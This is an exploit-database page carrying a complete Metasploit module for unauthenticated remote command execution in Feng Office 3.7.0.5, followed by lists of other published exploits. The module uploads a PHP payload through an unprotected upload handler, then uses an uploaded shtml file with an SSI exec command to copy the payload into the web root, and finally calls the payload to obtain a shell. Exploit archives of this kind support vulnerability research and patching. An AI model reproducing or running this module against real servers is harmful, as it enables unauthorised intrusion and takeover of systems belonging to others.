To access the dashboard, Schedule scans, API and Search become a patron

Search for hundreds of thousands of exploits

"Feng Office 3.7.0.5 - Remote Command Execution (Metasploit)"

Author

Exploit author

AkkuS

Platform

Exploit platform

php

Release date

Exploit published date

2019-02-28

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'uri'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

    def initialize
    super(
      'Name'           => 'Feng Office 3.7.0.5 - (Unauthenticated) Remote Command Execution',
      'Description'    => %q{
        This module exploits arbitrary file upload vulnerability in Feng Office 3.7.0.5. 
        Application allows the unauthenticated users to upload arbitrary files. 
        There is no control of any session. All files are sent under "/tmp" directory.
        The ".htaccess" file under the "/tmp" directory prevents files with the "php,php2,php3.." extensions.
        This exploit creates the php payload and moves the payload to the main directory via "shtml".
        After moving the php payload to the main directory, Exploit executes payload and receives shell.
      },
      'Author'         => [
        'AkkuS <Özkan Mustafa Akkuş>', # Vulnerability Discovery, PoC & Msf Module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['URL', 'https://pentest.com.tr/exploits/Feng-Office-3-7-0-5-Unauthenticated-Remote-Command-Execution-Metasploit.html'], 
        ],
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          ['Feng Office  <= 3.7.0.5', {}]
        ],
      'DisclosureDate' => '28 Feb 2019',
      'Privileged'     => false,      
      'DefaultTarget' => 0
       )

    register_options(
        [
          OptString.new('TARGETURI', [true, 'The base path to Feng Office', '/']),
        ], self.class)
    end

  def exploit 
##
# Upload Payload and directory discovery
## 
    boundary = Rex::Text.rand_text_alphanumeric(29)
    
    data = "-----------------------------{boundary}\r\n"
    data << "Content-Disposition: form-data; name=\"upload\"; filename=\"akkus.php\"\r\n"
    data << "Content-Type: binary/octet-stream\r\n\r\n"
    data << payload.encoded
    data << "\n\r\n-----------------------------{boundary}--\r\n"


    data << "-----------------------------{boundary}--\r\n"

    res = send_request_cgi({
      'method' => 'POST',    
      'data'  => data,
      'headers' =>
      {
        'Content-Type'   => 'multipart/form-data; boundary=---------------------------{boundary}'
      },
      'uri' => normalize_uri(target_uri, "/ck_upload_handler.php")     
    })


        if not (res and res.body =~ /tmp\/([^\"]+)\',/)
            print_error("Something went wrong. PHP File Upload failed.")
            return nil
        end
    upfile = $1
    print_status("PHP Payload: #{upfile}")

    updir = res.body.scan(/<b>.+ck_upload_handler.php/).map{ |s| s.split("in ").last }.map{ |s| s.split("<b>").last }.map{ |s| s.split("ck_upload_handler.php").last }
    dirc = updir[0]
    print_status("Application Directory Path: #{dirc}")
##
# Upload shtml and run CMD command to move Payload to the main directory
## 

    data = "-----------------------------{boundary}\r\n"
    data << "Content-Disposition: form-data; name=\"upload\"; filename=\"akkus.shtml\"\r\n"
    data << "Content-Type: text/html\r\n\r\n<html>\r\n<!--#exec cmd=\""
    data << "cp #{dirc}tmp/#{upfile} #{dirc}"
    data << "\" -->\r\n</html>\n\r\n"
    data << "-----------------------------{boundary}--\r\n"

    res = send_request_cgi({
      'method' => 'POST',    
      'data'  => data,
      'headers' =>
      {
        'Content-Type'   => 'multipart/form-data; boundary=---------------------------{boundary}'
      },
      'uri' => normalize_uri(target_uri, "/ck_upload_handler.php")     
    })

        if not (res and res.body =~ /tmp\/([^\"]+)\',/)
            print_error("Something went wrong. sHTML file Upload failed.")
            return nil
        else
          print_good("Uploads successful completed.") 
        end
    upfile2 = $1
    print_status("SHTML Payload: #{upfile2}")
    print_good("#{peer} - Retrieving remote command shell...")
    
##
# Running shtml for file migration
##             
    send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri, "/tmp/#{upfile2}"),
    })
##
# Running php for remote shell
##     
    send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri, "/#{upfile}"),
    })
   
  end    
end
##
# End
##
Release Date Title Type Platform Author
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "ILIAS Learning Management System 4.3 - SSRF" webapps multiple Dot
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Microsoft Windows - Win32k Elevation of Privilege" local windows nu11secur1ty
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
2020-12-02 "Pharmacy Store Management System 1.0 - 'id' SQL Injection" webapps php "Aydın Baran Ertemir"
Release Date Title Type Platform Author
2020-03-11 "CTROMS Terminal OS Port Portal - 'Password Reset' Authentication Bypass (Metasploit)" remote linux AkkuS
2019-08-12 "Webmin 1.920 - Unauthenticated Remote Code Execution (Metasploit)" remote linux AkkuS
2019-08-12 "ManageEngine Application Manager 14.2 - Privilege Escalation / Remote Command Execution (Metasploit)" remote multiple AkkuS
2019-08-12 "ManageEngine OpManager 12.4x - Privilege Escalation / Remote Command Execution (Metasploit)" remote multiple AkkuS
2019-08-12 "ManageEngine OpManager 12.4x - Unauthenticated Remote Command Execution (Metasploit)" remote multiple AkkuS
2019-07-12 "Sahi Pro 8.0.0 - Remote Command Execution" webapps java AkkuS
2019-06-17 "AROX School-ERP Pro - Unauthenticated Remote Command Execution (Metasploit)" remote php AkkuS
2019-06-11 "Webmin 1.910 - 'Package Updates' Remote Command Execution (Metasploit)" remote linux AkkuS
2019-05-14 "PHP-Fusion 9.03.00 - 'Edit Profile' Remote Code Execution (Metasploit)" remote php AkkuS
2019-04-30 "Moodle 3.6.3 - 'Install Plugin' Remote Command Execution (Metasploit)" remote php AkkuS
2019-04-25 "osTicket 1.11 - Cross-Site Scripting / Local File Inclusion" webapps php AkkuS
2019-04-22 "ManageEngine Applications Manager 14.0 - Authentication Bypass / Remote Command Execution (Metasploit)" remote multiple AkkuS
2019-04-18 "ManageEngine Applications Manager 11.0 < 14.0 - SQL Injection / Remote Code Execution (Metasploit)" remote windows AkkuS
2019-04-15 "CuteNews 2.1.2 - 'avatar' Remote Code Execution (Metasploit)" remote php AkkuS
2019-04-12 "ATutor < 2.2.4 - 'file_manager' Remote Code Execution (Metasploit)" webapps php AkkuS
2019-04-03 "TeemIp IPAM < 2.4.0 - 'new_config' Command Injection (Metasploit)" remote php AkkuS
2019-03-11 "Liferay CE Portal < 7.1.2 ga3 - Remote Command Execution (Metasploit)" webapps multiple AkkuS
2019-03-11 "OpenKM 6.3.2 < 6.3.7 - Remote Command Execution (Metasploit)" webapps jsp AkkuS
2019-03-07 "QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit)" remote hardware AkkuS
2019-03-04 "Booked Scheduler 2.7.5 - Remote Command Execution (Metasploit)" webapps php AkkuS
2019-02-28 "Usermin 1.750 - Remote Command Execution (Metasploit)" webapps linux AkkuS
2019-02-28 "Feng Office 3.7.0.5 - Remote Command Execution (Metasploit)" webapps php AkkuS
2019-02-12 "Jenkins 2.150.2 - Remote Command Execution (Metasploit)" webapps linux AkkuS
2019-01-24 "SirsiDynix e-Library 3.5.x - Cross-Site Scripting" webapps cgi AkkuS
2019-01-18 "Webmin 1.900 - Remote Command Execution (Metasploit)" remote cgi AkkuS
2019-01-10 "eBrigade ERP 4.5 - Arbitrary File Download" webapps php AkkuS
2019-01-02 "Vtiger CRM 7.1.0 - Remote Code Execution" webapps php AkkuS
2018-12-19 "Rukovoditel Project Management CRM 2.3.1 - Remote Code Execution (Metasploit)" webapps php AkkuS
2018-12-09 "i-doit CMDB 1.11.2 - Remote Code Execution" webapps php AkkuS
2018-12-04 "Dolibarr ERP/CRM 8.0.3 - Cross-Site Scripting" webapps php AkkuS
import requests
response = requests.get('https://www.nmmapper.com/api/v1/exploitdetails/46471/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.